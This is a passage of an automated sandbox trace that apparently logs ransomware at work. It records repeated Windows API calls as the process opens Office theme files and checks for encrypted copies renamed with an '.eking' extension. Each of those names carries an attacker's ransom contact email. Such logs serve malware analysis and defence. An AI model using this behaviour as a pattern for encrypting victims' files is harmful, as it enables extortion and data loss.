lpFileSize=0x322fcd8*=73822) returned 1 [0174.870] CloseHandle (hObject=0x1e4) returned 1 [0174.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm")) returned 0x20 [0174.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm")) returned 0x20 [0174.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.871] SetEvent (hEvent=0x174) returned 1 [0174.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.871] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=53115) returned 1 [0174.871] CloseHandle (hObject=0x1e4) returned 1 [0174.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0174.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0174.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.872] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2604) returned 1 [0174.873] CloseHandle (hObject=0x1e4) returned 1 [0174.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0174.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0174.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.874] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=66016) returned 1 [0174.874] CloseHandle (hObject=0x1e4) returned 1 [0174.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm")) returned 0x20 [0174.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm")) returned 0x20 [0174.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.875] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=487) returned 1 [0174.875] CloseHandle (hObject=0x1e4) returned 1 [0174.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf")) returned 0x20 [0174.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf")) returned 0x20 [0174.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.877] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=31975) returned 1 [0174.877] CloseHandle (hObject=0x1e4) returned 1 [0174.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0174.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0174.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.878] SetEvent (hEvent=0x174) returned 1 [0174.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.878] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4100) returned 1 [0174.878] CloseHandle (hObject=0x1e4) returned 1 [0174.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0174.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0174.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.880] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=73271) returned 1 [0174.880] CloseHandle (hObject=0x1e4) returned 1 [0174.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm")) returned 0x20 [0174.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm")) returned 0x20 [0174.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.886] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=613) returned 1 [0174.886] CloseHandle (hObject=0x1e8) returned 1 [0174.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf")) returned 0x20 [0174.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf")) returned 0x20 [0174.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.888] SetEvent (hEvent=0x174) returned 1 [0174.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.888] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=47962) returned 1 [0174.889] CloseHandle (hObject=0x1e8) returned 1 [0174.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0174.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0174.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.890] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3611) returned 1 [0174.890] CloseHandle (hObject=0x1e8) returned 1 [0174.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0174.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0174.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.893] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=103279) returned 1 [0174.893] CloseHandle (hObject=0x1e8) returned 1 [0174.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm")) returned 0x20 [0174.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm")) returned 0x20 [0174.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.894] SetEvent (hEvent=0x174) returned 1 [0174.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.894] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=456) returned 1 [0174.894] CloseHandle (hObject=0x1e8) returned 1 [0174.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf")) returned 0x20 [0174.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf")) returned 0x20 [0174.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.895] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=34163) returned 1 [0174.895] CloseHandle (hObject=0x1e8) returned 1 [0174.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0174.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0174.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.897] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=937) returned 1 [0174.897] CloseHandle (hObject=0x1e8) returned 1 [0174.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0174.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0174.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.900] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=82237) returned 1 [0174.900] CloseHandle (hObject=0x1e8) returned 1 [0174.900] GetFileAttributesW 